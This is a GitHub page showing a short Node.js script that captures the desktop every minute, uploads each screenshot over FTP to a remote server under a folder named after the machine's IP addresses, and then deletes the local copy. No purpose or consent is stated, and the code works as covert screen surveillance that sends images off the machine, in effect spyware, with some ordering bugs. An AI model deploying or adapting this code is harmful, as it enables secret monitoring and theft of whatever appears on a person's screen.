-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.js
101 lines (83 loc) · 2.53 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
var screenshot = require('desktop-screenshot');
const fs = require('fs');
const ftp = require("ftp");
const os = require('os');
function readCounterFromFile() {
try {
const data = fs.readFileSync('counter.txt', 'utf8');
return parseInt(data);
} catch (err) {
// If the file doesn't exist or reading fails, return a default counter value of 1
return 1;
}
}
function writeCounterToFile(counter) {
fs.writeFileSync('counter.txt', counter.toString(), 'utf8');
}
const networkInterfaces = os.networkInterfaces();
const localIpAddresses = [];
for (const interfaceName in networkInterfaces) {
const interfaces = networkInterfaces[interfaceName];
for (const iface of interfaces) {
if (iface.family === 'IPv4' && !iface.internal) {
localIpAddresses.push(iface.address);
}
}
}
async function takeshot() {
let counter = readCounterFromFile();
const fileName = `screenshot_${counter}.png`;
//screenshot code
screenshot(`${fileName}`, function(error, complete) {
if(error)
console.log("Screenshot failed!");
else
console.log("Screenshot succeeded!");
});
//ftp
const ftpConfig = {
host: '',
port: 21, // Default FTP port is 21
user: '',
password: ''
};
const clientIp = localIpAddresses;
const filePath = `${fileName}`; // Path to the local file you want to upload
const remoteFilePath = `/screenshots/${clientIp}/${fileName}`; // Path where you want to upload the file on the FTP server
const client = new ftp();
client.mkdir(`/screenshots/${clientIp}`, (err) => {
if (err) {
console.error('Folder Already Exsists!');
} else {
console.log('Folder made successfully!');
}
// Close the FTP connection
client.end();
});
client.on('ready', () => {
// Upload the file
client.put(filePath, remoteFilePath, (err) => {
if (err) {
console.error('Error uploading file!');
} else {
console.log('File uploaded successfully!');
}
// Close the FTP connection
client.end();
});
});
// Connect to the FTP server
client.connect(ftpConfig);
// delete the screenshot from local directory
fs.unlink(fileName, (err) => {
if (err) {
console.error('Error deleting local screenshot!');
} else {
console.log('Local screenshot deleted successfully!');
}
});
counter++;
writeCounterToFile(counter);
}
// Call takeshot every 1 minute - 60000
setInterval(takeshot, 60000);